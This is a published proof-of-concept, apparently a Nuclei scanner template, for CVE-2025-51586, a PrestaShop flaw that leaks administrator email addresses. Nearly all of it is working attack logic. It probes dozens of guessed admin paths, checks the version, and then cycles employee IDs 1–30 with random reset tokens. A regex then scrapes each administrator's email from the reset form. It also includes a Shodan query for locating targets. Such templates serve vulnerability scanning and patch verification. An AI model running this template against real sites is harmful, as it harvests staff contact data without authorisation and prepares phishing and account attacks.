User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.
PoC代码[已公开]
id: CVE-2025-51586
info:
name: PrestaShop - Information Disclosure
author: mastercho
severity: medium
description: |
User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.
reference:
- https://maxime-morel.github.io/advisories/2025/CVE-2025-51586.md
- https://security.friendsofpresta.org/core/2025/09/04/CVE-2025-51586.html
- https://nvd.nist.gov/vuln/detail/CVE-2025-51586
classification:
cwe-id: CWE-359
metadata:
verified: true
vendor: prestashop
product: prestashop
shodan-query: http.component:"prestashop"
tags: cve,cve2025,prestashop,disclosure,token
variables:
token: "{{rand_base(32)}}"
token2: "{{rand_base(32)}}"
flow: |
// 1) Run panel detection on all common admin paths
http(1);
// 2) Unwrap matchedpath (extractors return a list in flow)
var path = "";
if (template["matchedpath"] && template["matchedpath"].length) {
for (let p of iterate(template["matchedpath"])) {
path = p;
break; // use first detected admin path
}
}
// 3) Unwrap version (first extracted value)
var v = "";
if (template["version"] && template["version"].length) {
for (let ver of iterate(template["version"])) {
v = ver;
break;
}
}
// 4) JS version check: vulnerable if version < 8.2.3
function isVulnerable(ver) {
if (!ver) return true; // unknown version -> still test
var parts = (ver + "").split(".");
var M = parseInt(parts[0] || "0", 10);
var m = parseInt(parts[1] || "0", 10);
var p = parseInt(parts[2] || "0", 10);
if (M < 8) return true;
if (M > 8) return false;
if (m < 2) return true;
if (m > 2) return false;
return p < 3; // 8.2.0–8.2.2 are vuln; 8.2.3+ are not
}
// 5) Only execute http(2) if we have a path AND the version is vulnerable
if (path && isVulnerable(v)) {
set("matchedpath", path); // scalar for interpolation in http(2)
http(2);
}
http:
- id: detect-panel
method: GET
path:
- '{{BaseURL}}/{{paths}}/'
payloads:
paths:
- 'backoffice'
- 'back-office'
- 'Backoffice'
- 'admin-dev'
- 'backend'
- 'admin_'
- 'mikromanage'
- 'manage'
- 'manager'
- 'adminshop'
- 'administrator'
- 'administracja'
- 'adm'
- 'webadmin'
- 'admin-web'
- 'kontrollpanel'
- 'amministra'
- 'adminas'
- 'admin123'
- 'admin0'
- 'adminxx'
- 'admin'
- 'ps-admin'
- 'admins'
- 'p-office'
- 'admin333'
- 'admin4444'
- 'admin66'
- 'backadmin'
- 'admin1'
- 'BackofficeNEW'
- '4dm1n'
- 'administrazione'
- 'accesadministrateur'
- '_admin123'
- 'iadmin'
- 'panel'
host-redirects: true
max-redirects: 3
extractors:
- type: regex
name: matchedpath
part: body
group: 1
internal: true
regex:
- 'value="https?:\/\/[^\/]+\/((?:[A-Za-z]{2}\/)?(?:[A-Za-z0-9_-]*admin(?:-dev)?|[Bb]ackoffice|adm|panel)[^"]*?)\/'
- type: regex
name: version
part: body
internal: true
group: 1
regex:
- 'login\.js\?v=([0-9.]+)'
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- 'PrestaShop'
- 'class="show-forgot-password'
condition: and
- type: word
part: body
words:
- 'themes/default/css/admin-theme.css'
- 'class="show-forgot-password'
condition: and
- id: generate-token
method: GET
path:
- '{{Scheme}}://{{Hostname}}/{{matchedpath}}/index.php?controller=AdminLogin&token={{token}}&id_employee={{id}}&reset_token={{token2}}'
payloads:
id:
- '1'
- '2'
- '3'
- '4'
- '5'
- '6'
- '7'
- '8'
- '9'
- '10'
- '11'
- '12'
- '13'
- '14'
- '15'
- '16'
- '17'
- '18'
- '19'
- '20'
- '21'
- '22'
- '23'
- '24'
- '25'
- '26'
- '27'
- '28'
- '29'
- '30'
iterate-all: true
extractors:
- type: regex
name: reset-email
part: body
group: 1
regex:
- '<input[^>]*name="reset_email"[^>]*value="([^"]+)"'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'AdminLogin'
- 'PrestaShop'
condition: and
- type: status
status:
- 200
- type: regex
part: body
regex:
- '<input[^>]*name="reset_email"[^>]*value="([^"]+)"'
# digest: 4a0a0047304502200608d2af146ce8aabe58e5c348cc2178089a6895149c8cc44ba19f674b879235022100be849d8652ccfb3d406421bc5accf5ee36efe81a311fcf047244c085aac9f0b8:922c64590222798bb761d5b6d8e72950